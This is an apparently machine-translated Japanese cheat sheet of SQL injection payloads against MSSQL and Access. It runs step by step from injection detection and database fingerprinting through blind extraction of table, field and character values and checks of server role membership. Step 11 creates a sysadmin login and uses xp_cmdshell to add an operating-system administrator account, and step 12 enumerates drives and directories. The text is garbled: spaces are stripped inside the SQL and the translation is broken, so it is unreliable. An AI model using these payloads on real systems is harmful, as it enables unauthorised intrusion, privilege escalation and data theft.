1。注射があるかどうかを判断します。 and1 = 1;および1 = 2
2。それがMSSQLであるかどうかについての予備的な判断; AndUser> 0
3。注入パラメーターは文字 'および[クエリ条件]と' '='です
4。
5.データベースシステムをJudgeします
;および(selectcount(*)fromsysobjects)> 0mssql
;および(selectcount(*)frommsysobjects)> 0Access
6.データベースを推測します。および([データベース名]から[*)selectcount(*))> 0
7。フィールドを推測します。および(データベース名から(フィールド名)selectcount)> 0
8。フィールドの記録長を推測します。および(データベース名からselecttop1len(フィールド名))> 0
9.(1)フィールドのASCII値を推測する(アクセス)
; and(selecttop1asc(mid(field name、1、1))from database name)> 0
(2)フィールドのASCII値を推測する(MSSQL)
; and(selecttop1unicode(substring(field name、1、1))from database name)> 0
10。テスト許可構造(MSSQL)
; and1 =(selectis_srvrolemember( 'sysadmin')); -
; and1 =(selectis_srvrolemember( 'serveradmin')); -
; and1 =(selectis_srvrolemember( 'setupadmin')); -
; and1 =(selectis_srvrolemember( 'securityadmin')); -
; and1 =(selectis_srvrolemember( 'diskadmin')); -
; and1 =(selectis_srvrolemember( 'bulkadmin')); -
; and1 =(selectis_member( 'db_owner')); -
11。MSSQLとシステムアカウントを追加します
; execmaster.dbo.sp_addloginusername; -
; execmaster.dbo.sp_passwordnull、username、password; -
; execmaster.dbo.sp_addsrvrolemembersysadminusername; -
; execmaster.dbo.xp_cmdshell'netuserusernamepassword
/ワークステーション:*/times:all/passwordChg:yes/passwordreq:yes/active:yes/add '; -
; execmaster.dbo.xp_cmdshell'netuserusernamepassword/add '; -
; execmaster.dbo.xp_cmdshell'netlocalgroupadministratorSussussus/add '; -
12.(1)ディレクトリを転送します
; createTableDirs(pathsvarchar(100)、idint)
; insertdirsexecmaster.dbo.xp_dirtree'c:/'
;および(selecttop1pathsfromdirs)> 0
; and(selecttop1pathsfromdirswherepathsnotin( '前のステップから取得した経路')>)>
(2)ディレクトリを通過します
; createTableTemp(idnvarchar(255)、num1nvarchar(255)、num2nvarchar(255)、num3nvarchar(255)); -
; inserttempexecmaster.dbo.xp_availablemedia; - すべての現在のドライブをゲットします
; insertIntotemp(id)execmaster.dbo.xp_subdirs'c:/'; - subdirectoryリストを取得します
; insertIntotemp(id、num1)execmaster.dbo.xp_dirtree'c:/'; - すべてのサブディレクトリのディレクトリツリー構造を取得します